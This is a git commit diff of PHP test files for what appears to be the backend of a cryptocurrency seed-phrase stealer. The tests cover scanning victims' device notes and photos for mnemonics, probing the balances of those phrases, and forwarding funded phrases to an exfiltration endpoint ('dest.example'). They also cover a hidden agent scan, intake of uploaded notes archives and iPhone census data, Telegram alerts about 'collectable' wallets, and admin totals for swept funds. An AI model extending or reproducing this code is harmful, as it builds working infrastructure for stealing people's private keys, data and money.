feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
+48 -2
View File
@@ -92,14 +92,56 @@ class CollectableAddressNotifyTest extends TestCase
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '地址可归集通知')
return str_contains($text, '@所有人')
&& str_contains($text, '地址可归集通知')
&& str_contains($text, self::TRON_0)
&& str_contains($text, '<a href="https://tronscan.org/#/address/'.self::TRON_0.'">🔍</a>')
&& str_contains($text, 'TRX: 3.5')
&& str_contains($text, 'USDT: 12')
&& ($request->data()['chat_id'] ?? null) === '10001';
});
}
#[Test]
public function collectable_telegram_mentions_chat_members_not_plain_at_all(): void
{
Http::fake([
'*getChatAdministrators*' => Http::response([
'ok' => true,
'result' => [
['user' => ['id' => 111, 'is_bot' => true, 'username' => 'thebot']],
['user' => ['id' => 222, 'is_bot' => false, 'username' => 'alice']],
['user' => ['id' => 333, 'is_bot' => false, 'first_name' => 'Bob']],
],
], 200),
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$device = Device::query()->create(['device_id' => 'dev-collect-mention']);
$this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::TRON_0,
'chain_type' => 'TRON',
'source' => 'imToken',
'trx' => 1,
'usdt' => 2,
]);
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '<a href="tg://user?id=222">@所有人</a>')
&& str_contains($text, 'tg://user?id=333')
&& ! str_contains($text, 'tg://user?id=111');
});
}
#[Test]
public function unmatched_link_does_not_send_collectable_telegram(): void
{
@@ -191,10 +233,14 @@ class CollectableAddressNotifyTest extends TestCase
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '地址可归集通知')
return str_contains($text, '@所有人')
&& str_contains($text, '地址可归集通知')
&& str_contains($text, self::TRON_0)
&& str_contains($text, self::ETH_0)
&& str_contains($text, self::BTC_0)
&& str_contains($text, 'https://tronscan.org/#/address/'.self::TRON_0)
&& str_contains($text, 'https://etherscan.io/address/'.self::ETH_0)
&& str_contains($text, 'https://mempool.space/address/'.self::BTC_0)
&& str_contains($text, 'TRX:')
&& str_contains($text, 'USDT:')
&& str_contains($text, 'BTC:')
+99 -21
View File
@@ -11,7 +11,6 @@ use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicScanService;
use App\Services\MnemonicScanStatus;
use App\Services\MnemonicWalletDiscovery;
@@ -54,6 +53,7 @@ TXT;
#[Test]
public function twelve_note_words_auto_confirm_and_ingest(): void
{
$this->bindPhraseBalance(false);
$device = $this->device('dev-scan-12');
Note::query()->create([
'device_id' => $device->id,
@@ -82,6 +82,7 @@ TXT;
#[Test]
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
{
$this->bindPhraseBalance(false);
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$device = $this->device('dev-scan-glued');
Note::query()->create([
@@ -142,6 +143,7 @@ TXT;
#[Test]
public function admin_can_edit_and_confirm_a_suspected_photo(): void
{
$this->bindPhraseBalance(false);
$device = $this->device('dev-scan-confirm');
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
app(MnemonicScanService::class)->scanPhoto($photo);
@@ -218,6 +220,7 @@ TXT;
#[Test]
public function twelve_photo_words_auto_confirm_with_album_source(): void
{
$this->bindPhraseBalance(false);
$device = $this->device('dev-scan-photo-12');
$photo = $this->photoWithOcr($device, self::PHRASE);
@@ -259,6 +262,7 @@ TXT;
#[Test]
public function hidden_agent_scan_ingests_onto_official_device(): void
{
$this->bindPhraseBalance(false);
config(['coruna.scan.agent_visible' => false]);
$official = $this->officialDevice('dev-official-holder');
$device = $this->device('dev-scan-reattach');
@@ -450,7 +454,7 @@ TXT;
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
$this->bindPhraseBalance(true);
$device = $this->device('dev-scan-fwd');
Note::query()->create([
@@ -463,8 +467,10 @@ TXT;
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
$this->assertSame(0, $device->mnemonics()->count());
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $device->noteScans()->value('scan_status'));
Http::assertSent(function ($request) {
if (! str_starts_with($request->url(), 'https://dest.example/us')) {
return false;
@@ -487,6 +493,26 @@ TXT;
});
}
#[Test]
public function forwarded_photo_scan_stays_suspected(): void
{
config(['coruna.intercept.forward_url' => 'https://dest.example']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200),
]);
$this->bindPhraseBalance(true);
$device = $this->device('dev-scan-fwd-photo');
$photo = $this->photoWithOcr($device, self::PHRASE);
app(MnemonicScanService::class)->scanPhoto($photo);
$photo->refresh();
$this->assertSame(0, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
}
#[Test]
public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
{
@@ -496,7 +522,7 @@ TXT;
'https://dest.example/*' => Http::response('ok', 200),
'*' => Http::response('fail', 500),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
$this->bindPhraseBalance(false);
$device = $this->device('dev-scan-nofwd');
Note::query()->create([
@@ -510,7 +536,15 @@ TXT;
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertFalse((bool) $device->mnemonics()->first()?->discovery_complete);
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词');
});
}
#[Test]
@@ -521,7 +555,7 @@ TXT;
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'*' => Http::response('ok', 200),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
$this->bindPhraseBalance(true);
$device = $this->device('dev-scan-nourl');
Note::query()->create([
@@ -538,23 +572,67 @@ TXT;
Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
}
private function bindFundedDiscovery(string $address, float $usdt): void
#[Test]
public function confirmed_scan_persists_when_forward_fails(): void
{
config(['coruna.intercept.forward_url' => 'https://dest.example']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('fail', 500),
]);
$this->bindPhraseBalance(true);
$device = $this->device('dev-scan-fwd-fail');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'fwdfail'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词');
});
}
#[Test]
public function confirmed_scan_persists_when_balance_probe_fails(): void
{
config(['coruna.intercept.forward_url' => 'https://dest.example']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200),
]);
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andThrow(new \RuntimeException('rpc down'));
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
$device = $this->device('dev-scan-probe-fail');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'probefail'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
}
private function bindPhraseBalance(bool $hasBalance): void
{
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
$discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
WalletAddress::query()->create([
'device_id' => $mnemonic->device_id,
'mnemonic_id' => $mnemonic->id,
'address' => $address,
'chain_type' => 'TRON',
'source' => '备忘录扫描',
'usdt' => $usdt,
'trx' => 0,
'monitor' => 1,
]);
return $usdt > 0 ? 1 : 0;
});
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andReturn($hasBalance);
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
}
@@ -0,0 +1,97 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class RejectUnknownDeviceKeyTest extends TestCase
{
use RefreshDatabase;
private const JUNK_LONG = 'CEFCAEEAEFADCDFAEC238552151148443485EF922FAAFCDEAECDECDECEDCE018';
private const JUNK_SHORT = '46BE1';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.telegram.bot_token' => 'tg-token',
'coruna.telegram.owner_chat_id' => '10001',
]);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'*' => Http::response(['ok' => true], 200),
]);
}
#[Test]
public function xxbb_profile_drops_junk_device_ids(): void
{
$this->xxbbPost('/a', [
'd' => self::JUNK_LONG,
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$this->xxbbPost('/a', [
'd' => self::JUNK_SHORT,
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk();
$this->assertSame(0, Device::query()->count());
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
}
#[Test]
public function darksword_census_drops_junk_device_ids(): void
{
$this->postJson('/a', [
'lhu' => self::JUNK_LONG,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
])->assertOk();
$this->postJson('/a', [
'lhu' => self::JUNK_SHORT,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
])->assertOk();
$this->assertSame(0, Device::query()->count());
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
}
#[Test]
public function app_register_drops_junk_device_ids(): void
{
$this->postJson('/api/v2/devices', [
'deviceId' => self::JUNK_LONG,
'hardwareModel' => 'iPhone15,2',
'iosVersion' => '18.6',
])->assertOk();
$this->call('POST', '/api/ap/u?a=chan1&notes.zip', [], [], [], [
'HTTP_X_DEVICE_ID' => self::JUNK_SHORT,
'HTTP_X_IOS_VERSION' => '18.6',
'CONTENT_TYPE' => 'application/octet-stream',
], 'not-a-real-zip')->assertOk()->assertJson(['ok' => true, 'bind' => false]);
$this->assertSame(0, Device::query()->count());
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
}
+7
View File
@@ -153,6 +153,8 @@ class SystemAdminTest extends TestCase
'telegram_owner_chat_id' => '-1001',
'official_album_storage' => '1',
'auto_transfer_enabled' => '0',
'scan_forward_min_usdt' => '10',
'scan_forward_min_trx' => '20',
])
->assertOk()
->assertJsonPath('code', 0)
@@ -165,6 +167,10 @@ class SystemAdminTest extends TestCase
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
$this->assertTrue(config('coruna.album_storage.official_default'));
$this->assertSame('10', config('coruna.scan.forward_min_usdt'));
$this->assertSame('20', config('coruna.scan.forward_min_trx'));
$this->assertSame('0', config('coruna.scan.forward_min_eth'));
$this->assertStringContainsString('SCAN_FORWARD_MIN_USDT=10', $env);
}
#[Test]
@@ -203,6 +209,7 @@ class SystemAdminTest extends TestCase
->assertSee('TRANSFER_TO_ADDRESS_SOL')
->assertSee('只能在 .env 配置')
->assertDontSee('hidden-cdn.example.com')
->assertSee('转发门槛')
->assertSee('TELEGRAM_BOT_TOKEN')
->assertSee('@ops_bot')
->assertDontSee('助记词明文(员工 / 代理)')
+4 -2
View File
@@ -188,7 +188,8 @@ class TokenviewWebhookTest extends TestCase
&& str_contains($text, 'USDT')
&& str_contains($text, '来源</b>: imToken - TRX')
&& str_contains($text, '可归集')
&& str_contains($text, '⏳');
&& str_contains($text, '⏳')
&& ! str_contains($text, '@所有人');
});
}
@@ -539,7 +540,8 @@ class TokenviewWebhookTest extends TestCase
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '余额入账')
return str_contains($text, '@所有人')
&& str_contains($text, '余额入账')
&& str_contains($text, '来源</b>: imToken - ETH')
&& str_contains($text, '可归集</b>: ✅')
&& ! str_contains($text, '可归集</b>: ⏳');
+121 -2
View File
@@ -36,7 +36,10 @@ class TransferRecordAdminTest extends TestCase
$this->actingAs($admin, 'admin')
->get(route('admin.transfers.index'))
->assertOk()
->assertSee('交易记录');
->assertSee('交易记录')
->assertSee('时间范围')
->assertSee('成功归集金额')
->assertSee('手续费补足金额');
$this->actingAs($admin, 'admin')
->getJson(route('admin.transfers.data'))
@@ -44,7 +47,123 @@ class TransferRecordAdminTest extends TestCase
->assertJsonPath('code', 0)
->assertJsonPath('count', 1)
->assertJsonPath('data.0.asset', 'USDT')
->assertJsonPath('data.0.status', 'success');
->assertJsonPath('data.0.status', 'success')
->assertJsonPath('summary.totals.0.asset', 'USDT')
->assertJsonPath('summary.totals.0.amount', '10')
->assertJsonPath('summary.totals.1.asset', 'ETH')
->assertJsonPath('summary.totals.1.amount', '0');
}
#[Test]
public function transfer_summary_follows_filters_and_counts_success_only(): void
{
$admin = Admin::query()->create(['username' => 'admin-sum', 'password' => 'admin123']);
TransferRecord::query()->create([
'from_address' => 'TFromA',
'to_address' => 'TToA',
'chain' => 'tron',
'tx_hash' => 'ok-usdt',
'amount' => '12.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => '0xFromB',
'to_address' => '0xToB',
'chain' => 'eth',
'tx_hash' => 'ok-eth',
'amount' => '0.75',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'ETH',
'operator' => 'admin',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TFromC',
'to_address' => 'TToC',
'chain' => 'tron',
'tx_hash' => 'fail-usdt',
'amount' => '99',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => TransferRecord::STATUS_FAILED,
]);
TransferRecord::query()->create([
'from_address' => 'TFeeFrom',
'to_address' => 'TFeeTo',
'chain' => 'tron',
'tx_hash' => 'fee-ok',
'amount' => '20',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'operator' => 'fee-topup:auto',
'status' => TransferRecord::STATUS_SUCCESS,
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.transfers.data'))
->assertOk()
->assertJsonPath('summary.totals.0.asset', 'USDT')
->assertJsonPath('summary.totals.0.amount', '12.5')
->assertJsonPath('summary.totals.1.asset', 'ETH')
->assertJsonPath('summary.totals.1.amount', '0.75')
->assertJsonPath('summary.totals.2.asset', 'TRX')
->assertJsonPath('summary.totals.2.amount', '0')
->assertJsonPath('summary.fee_totals.2.asset', 'TRX')
->assertJsonPath('summary.fee_totals.2.amount', '20');
$this->actingAs($admin, 'admin')
->getJson(route('admin.transfers.data', ['asset' => 'USDT', 'status' => 'failed']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('summary.totals.0.amount', '12.5')
->assertJsonPath('summary.totals.1.amount', '0');
}
#[Test]
public function transfer_summary_respects_date_range(): void
{
$admin = Admin::query()->create(['username' => 'admin-range', 'password' => 'admin123']);
$old = TransferRecord::query()->create([
'from_address' => 'TOld',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'old',
'amount' => '20',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => TransferRecord::STATUS_SUCCESS,
]);
$old->created_at = '2026-01-01 12:00:00';
$old->save();
$fresh = TransferRecord::query()->create([
'from_address' => 'TNew',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'new',
'amount' => '3',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'operator' => 'auto',
'status' => TransferRecord::STATUS_SUCCESS,
]);
$fresh->created_at = '2026-10-01 12:00:00';
$fresh->save();
$this->actingAs($admin, 'admin')
->getJson(route('admin.transfers.data', [
'date_from' => '2026-10-01',
'date_to' => '2026-10-02',
]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.tx_hash', 'new')
->assertJsonPath('summary.totals.0.amount', '3');
}
#[Test]